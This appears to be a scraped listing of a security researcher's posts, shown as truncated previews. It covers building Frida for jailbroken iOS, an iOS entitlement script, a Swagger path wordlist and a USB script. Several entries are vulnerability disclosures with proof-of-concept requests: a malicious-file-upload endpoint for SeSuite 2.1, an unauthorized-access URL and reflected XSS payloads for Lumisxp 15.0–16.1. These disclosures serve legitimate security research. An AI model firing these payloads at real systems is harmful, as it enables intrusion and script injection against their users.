rodnt

Here, I'll show you how to compile Frida for both rootfull and rootless jailbreaks.

TL;DR

On Dopamine/Fugu15 Max or palera1n you can add my repo (open the link in your favorite browser on your jailbroken iDevice).

The DEBs you will install are build using the following instructions.

Update 2024-02-29

rodnt

#!/bin/bash
# Author: 0xz41 feat Shoaloak
# Description: Fix iOS binary entitlements/access for "Operation not permitted"

ENTITLEMENT="com.apple.private.security.container-manager"
binaries=(
    "sh" "bash" "zsh" "dash"       
    "ls" "cat" "find" "cp" "mv"  
    "rm" "mkdir" "rmdir" "touch"
    "file" "ln" "du" "scp"

rodnt

Description

SeSuite Version 2.1 is vulnerable to command execution via the upload of a malicious file at the form/efms_exec_html/file_upload_parser.php endpoint.

Request

• Malicious file upload

POST /se/v54285/form/efms_exec_html/file_upload_parser.php HTTP/2

rodnt

Description

Lumisxp versions 15.0.x to 16.1.x contain a GUID that can be exploited to access internal components without authorization.

Payload

• URL:

  /main.jsp?lumChannelId=00000000F00000000000000000000002&lumPageId=LumisBlankPage&lumRTI=lumis.service.doui.selectstructureelement.selectPage&pageId=
  

rodnt

Description

Lumisxp versions 15.0.x to 16.1.x have an unauthenticated XSS vulnerability in the pageId parameter.

Request

• Payload:

  GET /main.jsp?lumChannelId=00000000F00000000000000000000002&lumPageId=LumisBlankPage&lumRTI=lumis.service.doui.selectstructureelement.selectPage&pageId=%22%2c%20print()%2c%0d%22aaa
  

rodnt

Description

Lumisxp versions 15.0.x to 16.1.x have an unauthenticated XSS vulnerability in the UrlAccessibilityEvaluation.jsp page, specifically in the contentHtml parameter.

Request

• Payload:

GET /lumis/service/htmlevaluation/UrlAccessibilityEvaluation.jsp?contentHtml=%3cp%3e%3ci%20id%3d%22run-code-button%22%20lang%3d%22xml%22%20title%3d%22Run%20Code%20and%20See%20Output%22%3e%3c%2fi%3e%3c%2fp%3e%0a%0a%3cp%3e%3ci%20title%3d%22Light%20Mode%22%3e%3c%2fi%3e%3c%2fp%3e%0a%0a%3ctable%20border%3d%220%22%20cellpadding%3d%220%22%20cellspacing%3d%220mmdfn%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt

rodnt

Description

Lumisxp versions 15.0.x to 16.1.x have an unauthenticated XSS vulnerability in the XsltResultControllerHtml.jsp page, specifically in the lumPageId parameter.

Request

Payload:

• GET request:

rodnt

/**
 * by rodnt
 * twitter: 0xrodnt
 * Github: rodnt
*/

const config = {
    flutterPatterns: {
        android: "F? 0F 1C F8 F? 5? 01 A9 F? 5? 02 A9 F? ?? 03 A9 ?? ?? ?? ?? 68 1A 40 F9"
    },

rodnt

/swagger-ui.html
/swagger-ui/
/swagger-ui/index.html
/api-docs
/v2/api-docs
/v3/api-docs
/swagger.json
/openapi.json
/api/swagger.json
/docs

rodnt

#!/bin/bash

# Function to select the USB device
select_usb_device() {
  echo "Available USB devices:"
  local devices=(/dev/sd*)
  select usb_device in "${devices[@]}"; do
    if [ -z "$usb_device" ]; then
      echo "Invalid selection, please try again."
    else